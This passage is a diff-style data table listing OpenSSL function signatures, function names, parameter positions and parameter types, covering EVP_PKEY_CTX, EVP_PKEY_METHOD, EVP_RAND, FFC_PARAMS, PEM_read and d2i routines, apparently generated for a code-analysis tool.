| EVP_PKEY_CTX_get_keygen_info | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | int | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 2 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 3 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 4 | int | +| (EVP_PKEY_CTX *,int,int,int,int,void *) | | EVP_PKEY_CTX_ctrl | 5 | void * | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 2 | int | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 3 | int | +| (EVP_PKEY_CTX *,int,int,int,uint64_t) | | EVP_PKEY_CTX_ctrl_uint64 | 4 | uint64_t | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 1 | int | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 2 | int | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 3 | int | +| (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 4 | void * | +| (EVP_PKEY_CTX *,size_t *) | | EVP_PKEY_CTX_get1_id_len | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,size_t *) | | EVP_PKEY_CTX_get1_id_len | 1 | size_t * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_N | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_N | 1 | uint64_t | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_maxmem_bytes | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_maxmem_bytes | 1 | uint64_t | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_p | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_p | 1 | uint64_t | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_r | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,uint64_t) | | EVP_PKEY_CTX_set_scrypt_r | 1 | uint64_t | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 1 | unsigned char ** | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 3 | size_t | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 4 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char **,size_t *,size_t,const unsigned char *,size_t) | | evp_pkey_decrypt_alloc | 5 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_derive | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_derive | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_derive | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_sign_message_final | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_sign_message_final | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *) | | EVP_PKEY_sign_message_final | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_decrypt | 4 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_encrypt | 4 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_sign | 4 | size_t | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 1 | unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 2 | size_t * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 3 | const unsigned char * | +| (EVP_PKEY_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_PKEY_verify_recover | 4 | size_t | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_get1_id | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_get1_id | 1 | void * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_app_data | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_app_data | 1 | void * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_data | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_data | 1 | void * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_check | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_check | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_cleanup | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_cleanup | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_copy | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_copy | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digest_custom | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digest_custom | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestsign | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestsign | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestverify | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_digestverify | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_init | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_init | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_param_check | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_param_check | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_public_check | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..)) | | EVP_PKEY_meth_set_public_check | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_ctrl | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_ctrl | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_ctrl | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_decrypt | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_decrypt | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_decrypt | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_derive | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_derive | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_derive | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_encrypt | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_encrypt | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_encrypt | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_keygen | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_keygen | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_keygen | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_paramgen | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_paramgen | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_paramgen | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_sign | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_sign | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_sign | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_signctx | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_signctx | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_signctx | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify_recover | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify_recover | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verify_recover | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verifyctx | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verifyctx | 1 | ..(*)(..) | +| (EVP_PKEY_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_meth_set_verifyctx | 2 | ..(*)(..) | +| (EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_copy | 0 | EVP_PKEY_METHOD * | +| (EVP_PKEY_METHOD *,const EVP_PKEY_METHOD *) | | EVP_PKEY_meth_copy | 1 | const EVP_PKEY_METHOD * | +| (EVP_RAND *,EVP_RAND_CTX *) | | EVP_RAND_CTX_new | 0 | EVP_RAND * | +| (EVP_RAND *,EVP_RAND_CTX *) | | EVP_RAND_CTX_new | 1 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *) | | EVP_RAND_CTX_get0_rand | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *) | | evp_rand_can_seed | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *,..(*)(..)) | | fake_rand_set_callback | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *,..(*)(..)) | | fake_rand_set_callback | 1 | ..(*)(..) | +| (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 1 | unsigned char * | +| (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | size_t | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 0 | EVP_RAND_CTX * | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 1 | unsigned char * | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 2 | size_t | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 3 | unsigned int | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 4 | int | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 5 | const unsigned char * | +| (EVP_RAND_CTX *,unsigned char *,size_t,unsigned int,int,const unsigned char *,size_t) | | EVP_RAND_generate | 6 | size_t | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 0 | EVP_SKEY * | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 1 | OSSL_LIB_CTX * | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 2 | OSSL_PROVIDER * | +| (EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *) | | EVP_SKEY_to_provider | 3 | const char * | +| (EXTENDED_KEY_USAGE *) | | EXTENDED_KEY_USAGE_free | 0 | EXTENDED_KEY_USAGE * | +| (EXTENDED_KEY_USAGE **,const unsigned char **,long) | | d2i_EXTENDED_KEY_USAGE | 0 | EXTENDED_KEY_USAGE ** | +| (EXTENDED_KEY_USAGE **,const unsigned char **,long) | | d2i_EXTENDED_KEY_USAGE | 1 | const unsigned char ** | +| (EXTENDED_KEY_USAGE **,const unsigned char **,long) | | d2i_EXTENDED_KEY_USAGE | 2 | long | +| (FFC_PARAMS *,BIGNUM *) | | ossl_ffc_params_set0_j | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,BIGNUM *) | | ossl_ffc_params_set0_j | 1 | BIGNUM * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 1 | BIGNUM * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 2 | BIGNUM * | +| (FFC_PARAMS *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_ffc_params_set0_pqg | 3 | BIGNUM * | +| (FFC_PARAMS *,const DH_NAMED_GROUP *) | | ossl_ffc_named_group_set | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const DH_NAMED_GROUP *) | | ossl_ffc_named_group_set | 1 | const DH_NAMED_GROUP * | +| (FFC_PARAMS *,const FFC_PARAMS *) | | ossl_ffc_params_copy | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const FFC_PARAMS *) | | ossl_ffc_params_copy | 1 | const FFC_PARAMS * | +| (FFC_PARAMS *,const OSSL_PARAM[]) | | ossl_ffc_params_fromdata | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const OSSL_PARAM[]) | | ossl_ffc_params_fromdata | 1 | const OSSL_PARAM[] | +| (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 1 | const char * | +| (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 2 | const char * | +| (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 1 | const unsigned char * | +| (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | size_t | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 1 | const unsigned char * | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 2 | size_t | +| (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 3 | int | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | int | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | int | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | int | +| (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,unsigned int) | | ossl_ffc_params_set_flags | 1 | unsigned int | +| (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 0 | FFC_PARAMS * | +| (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 1 | unsigned int | +| (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | int | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 0 | FILE * | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 1 | CMS_ContentInfo ** | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 2 | pem_password_cb * | +| (FILE *,CMS_ContentInfo **,pem_password_cb *,void *) | | PEM_read_CMS | 3 | void * | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 0 | FILE * | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 1 | DH ** | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 2 | pem_password_cb * | +| (FILE *,DH **,pem_password_cb *,void *) | | PEM_read_DHparams | 3 | void * | +| (FILE *,DSA **) | | d2i_DSAPrivateKey_fp | 0 | FILE * | +| (FILE *,DSA **) | | d2i_DSAPrivateKey_fp | 1 | DSA ** | +| (FILE *,DSA **) | | d2i_DSA_PUBKEY_fp | 0 | FILE * | +| (FILE *,DSA **) | | d2i_DSA_PUBKEY_fp | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 0 | FILE * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 2 | pem_password_cb * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAPrivateKey | 3 | void * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 0 | FILE * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 2 | pem_password_cb * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSA_PUBKEY | 3 | void * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 0 | FILE * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 1 | DSA ** | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 2 | pem_password_cb * | +| (FILE *,DSA **,pem_password_cb *,void *) | | PEM_read_DSAparams | 3 | void * | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 0 | FILE * | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 1 | EC_GROUP ** | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 2 | pem_password_cb * | +| (FILE *,EC_GROUP **,pem_password_cb *,void *) | | PEM_read_ECPKParameters | 3 | void * | +| (FILE *,EC_KEY **) | | d2i_ECPrivateKey_fp | 0 | FILE * | +| (FILE *,EC_KEY **) | | d2i_ECPrivateKey_fp | 1 | EC_KEY ** | +| (FILE *,EC_KEY **) | | d2i_EC_PUBKEY_fp | 0 | FILE * | +| (FILE *,EC_KEY **) | | d2i_EC_PUBKEY_fp | 1 | EC_KEY ** | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 0 | FILE * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 1 | EC_KEY ** | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 2 | pem_password_cb * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_ECPrivateKey | 3 | void * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 0 | FILE * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 1 | EC_KEY ** | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 2 | pem_password_cb * | +| (FILE *,EC_KEY **,pem_password_cb *,void *) | | PEM_read_EC_PUBKEY | 3 | void * | +| (FILE *,EVP_PKEY **) | | d2i_PUBKEY_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **) | | d2i_PUBKEY_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **) | | d2i_PrivateKey_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **) | | d2i_PrivateKey_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 2 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex_fp | 3 | const char * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 2 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,OSSL_LIB_CTX *,const char *) | | d2i_PrivateKey_ex_fp | 3 | const char * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) 